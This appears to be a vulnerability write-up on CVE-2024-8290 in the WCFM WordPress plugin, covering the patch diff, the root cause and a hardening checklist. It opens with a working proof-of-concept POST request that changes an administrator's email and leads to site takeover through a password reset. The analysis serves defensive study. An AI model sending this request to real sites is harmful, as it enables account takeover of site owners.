The Exploit
An authenticated subscriber or customer-level user can modify the email address of any WordPress user account, including administrators, by sending a direct object reference bypass to the WCFM customer management endpoint.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<subscriber_session>
action=wcfm_ajax_controller&controller=customers-manage&method=processing&wcfm_customer_form_data[customer_id]=1&wcfm_customer_form_data[email][email protected]&wcfm_customer_form_data[first_name]=Pwned&security=<nonce>
The request succeeds with a 200 response containing {"status":true}. The administrator account with ID 1 now has its email changed to [email protected]. The attacker then requests a password reset on the WordPress login page, receives the reset link at the attacker-controlled email, and gains full administrative access to the site.
What the Patch Did
Before
if( isset($wcfm_customer_form_data['customer_id']) && $wcfm_customer_form_data['customer_id'] != 0 ) {
$customer_id = absint( $wcfm_customer_form_data['customer_id'] );
$is_update = true;
}
After
if (isset($wcfm_customer_form_data['customer_id']) && $wcfm_customer_form_data['customer_id'] != 0) {
$customer_id = absint($wcfm_customer_form_data['customer_id']);
// Check valid customer user role for $customer_id
$customer = get_user_by('id', $customer_id);
if ($customer && !in_array(apply_filters('wcfm_added_customer_user_role', 'customer'), $customer->roles)) {
$has_error = true;
echo '{"status": false, "message": "' . $wcfm_customer_messages['invalid_customer'] . '"}';
return;
}
// check if a vendor can update this customer
if( wcfm_is_vendor() ) {
$is_customer_for_vendor = $WCFM->wcfm_vendor_support->wcfm_is_component_for_vendor( $customer_id, 'customer' );
if( !$is_customer_for_vendor ) {
$has_error = true;
echo '{"status": false, "message": "' . $wcfm_customer_messages['invalid_customer'] . '"}';
return;
}
}
$is_update = true;
}
The patch added a role-based access control check using get_user_by('id', $customer_id) and in_array(..., $customer->roles) to verify the target user actually holds the 'customer' role before permitting modification. It also introduced a second validation gate via wcfm_is_component_for_vendor() to enforce that multi-vendor contexts respect vendor-customer ownership boundaries. Both checks use early return statements to halt processing if authorization fails, preventing silent bypass.
Root Cause
CWE-639: Authorization Bypass Through User-Controlled Key. The vulnerability flows from the wcfm_customer_form_data['customer_id'] POST parameter directly into the processing function without any authorization check. An attacker-controlled integer ID passes absint() sanitization (which only removes non-numeric characters) and is immediately used as the target for user profile updates. The trust boundary violation occurs at the moment the code assumes any authenticated subscriber can modify any user record by simply sending their ID. The plugin fails to verify that the target ID actually belongs to a customer role, nor does it check multi-vendor membership. This allows privilege escalation: a low-privileged subscriber modifies a high-privileged administrator account.
Why It Works
The load-bearing line is the role validation: if ($customer && !in_array(apply_filters('wcfm_added_customer_user_role', 'customer'), $customer->roles)). Removing this check alone leaves the exploit functional because an attacker could still reference admin ID 1 and modify it. The vendor check (wcfm_is_component_for_vendor()) is defense-in-depth for multi-vendor setups but is secondary; the role check is the mandatory gate. The engineer added the vendor ownership check because in a marketplace context, a vendor should only manage customers they've explicitly added or interacted with, not all customers in the system. Without the vendor check, a compromised vendor account could still escalate to administrator by changing a shop manager's email. Together, both checks enforce the principle of least privilege: subscribers manage no one, vendors manage only their customers, and implicit trust in a user-supplied ID is eliminated.
Hardening Checklist
-
Use
current_user_can()instead of role-checking manually. Replace thein_array(..., $customer->roles)pattern withcurrent_user_can('manage_woocommerce_customers')or equivalent capability checks to leverage WordPress' built-in capability system and avoid reimplementing authorization logic. -
Implement
wp_verify_nonce()validation. The PoC required asecuritynonce parameter; verify it usingwp_verify_nonce($_POST['security'], 'wcfm_customer_nonce')before processing any state-changing request to prevent CSRF escalation. -
Audit all
$_POSTand$_GETintegers used as database lookups. Search for patterns likeabsint($_POST['*_id'])followed immediately by queries. Add an authorization check after the sanitization step, before the database operation. -
Use
wp_get_current_user()and checkuser_has_cap()to centralize permission checks at the start of the controller function, not scattered across multiple branches. -
Add logging for failed authorization attempts. When a user attempts to modify another user's record, log the attempt with
error_log()or a security plugin hook so suspicious patterns are visible to site administrators.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-8290